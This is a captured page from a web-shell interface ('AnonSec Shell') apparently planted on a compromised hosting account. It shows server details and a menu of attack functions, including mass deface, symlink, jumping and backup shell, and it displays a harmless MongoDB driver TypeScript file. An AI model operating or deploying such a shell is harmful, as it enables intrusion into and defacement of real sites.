AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 3.147.61.28   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/allssztx/needapair.com/node_modules/mongodb/src/operations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/home/allssztx/needapair.com/node_modules/mongodb/src/operations/profiling_level.ts
import type { Db } from '../db';
import { MongoUnexpectedServerResponseError } from '../error';
import type { Server } from '../sdam/server';
import type { ClientSession } from '../sessions';
import { CommandOperation, type CommandOperationOptions } from './command';

/** @public */
export type ProfilingLevelOptions = CommandOperationOptions;

/** @internal */
export class ProfilingLevelOperation extends CommandOperation<string> {
  override options: ProfilingLevelOptions;

  constructor(db: Db, options: ProfilingLevelOptions) {
    super(db, options);
    this.options = options;
  }

  override get commandName() {
    return 'profile' as const;
  }

  override async execute(server: Server, session: ClientSession | undefined): Promise<string> {
    const doc = await super.executeCommand(server, session, { profile: -1 });
    if (doc.ok === 1) {
      const was = doc.was;
      if (was === 0) return 'off';
      if (was === 1) return 'slow_only';
      if (was === 2) return 'all';
      throw new MongoUnexpectedServerResponseError(`Illegal profiling level value ${was}`);
    } else {
      throw new MongoUnexpectedServerResponseError('Error with profile command');
    }
  }
}

Anon7 - 2022
AnonSec Team